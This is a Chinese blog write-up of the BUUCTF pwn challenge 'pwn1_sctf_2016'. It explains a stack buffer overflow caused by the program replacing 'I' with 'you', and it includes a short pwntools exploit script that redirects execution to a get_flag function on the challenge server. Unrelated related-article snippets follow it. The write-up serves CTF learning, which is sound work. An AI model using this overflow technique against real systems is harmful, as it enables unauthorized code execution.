BUUCTF pwn1_sctf_2016 1

news/2024/5/19 23:40:33 标签: 网络安全, ctf, pwn

代码分析

查看文件信息然后进行反汇编

在这里插入图片描述
关键信息

  • 32位
  • 栈不可执行

IDA反汇编
在这里插入图片描述
说实话,这个应该是C++编写的程序,C++基础还是不行,我硬是没看懂这个代码

我查了一下字符串

在这里插入图片描述

这里的get_flag是函数,另一个应该就是执行的一个命令了
到IDA中查找
在这里插入图片描述
在这里插入图片描述
TAB切换到汇编,再空格
在这里插入图片描述
先给他地址记下 08048F0D

这里网上说是把 I 换成 you导致了溢出,输入I就多出了2个字符,s的空间为32字节,足够我们溢出8字节了

EXP

s距离BP为0x3C ,0x3C / 3 = 20,我们只需要20个I就能到达BP的位置,然后 + 4个字节填充BP

from pwn import *

p = remote("node4.buuoj.cn",28244)
p.sendline(flat([b"I" * 20, b'a'*4, 0x08048F0D]))
p.interactive()

http://www.niftyadmin.cn/n/5089383.html

相关文章

C指针与一维二维数组、数组指针与指针数组、函数指针_数组的理解使用

文章目录 一、指针数组 和 数组指针① 数组指针② 指针数组 二、函数指针与函数指针数组① 函数指针② 函数指针数组 三、指针与一维、二维数组① 指针与一维数组② 指针与二维数组 一、指针数组 和 数组指针 ① 数组指针 数组指针(Array Pointer)是指…

Godot 单元测试

前言 单元测试是我们常用的功能,Godot作为一个游戏,单元测试和热重载是我们常用的功能。这里我们讲解最简单的单元测试的情况。 Godot 配置 我们添加一个最简单的节点,挂载一个最简单的脚本。 添加测试方法(只能是静态方法&…

OpenCV12-图像卷积

OpenCV12-图像卷积 图像卷积 图像卷积 OpenCV中提供了filt2D()函数用于实现图像和卷积模板之间的卷积运算: void filter2D(InputArray src, // 输入图像OutputArray dst, // 输出图像int ddepth, // 输出图像数据类型(深度)&#xff…

谈谈多线程与多线程同步

一、线程展开说说 二、走近多线程同步

【Vue 2】Props

Prop大小写 Prop的命名规则有camelCase,驼峰命名和kebab-case,短横线分隔。 由于HTML对大小写不敏感,所以浏览器会把大写字母解释为小写字母。 当我们使用camelCase命名prop时,在Dom中的template模板使用该prop就需要换成对应的…

PowerShell系列(十二):PowerShell Cmdlet高级参数介绍(二)

目录 1、ErrorVariable 错误变量 2、OutVariable 结果输出 3、OutBuffer 输出Buffer定义 4、PipelineVariable管道参数 今天给大家讲解PowerShell Cmdlet高级参数第二部分相关的知识,希望对大家学习PowerShell能有所帮助! 1、ErrorVariable 错误变量…

2.9 深入GPU硬件架构及运行机制

五、GPU技术要点 1.SMID和SIMT SIMD(Single Instruction Multiple Data)是单指令多数据,在GPU的ALU(在Core内)单元内,一条指令可以处理多维向量(一般是4D)的数据。比如&#xff0c…

基于php+thinkphp+vue的校园二手交易网站

运行环境 开发语言:PHP 数据库:MYSQL数据库 应用服务:apache服务器 使用框架:ThinkPHPvue 开发工具:VScode/Dreamweaver/PhpStorm等均可 项目简介 随着社会的发展,社会的各行各业都在利用信息化时代的优势。计算机的优势和普及使得各种信息系统的开发…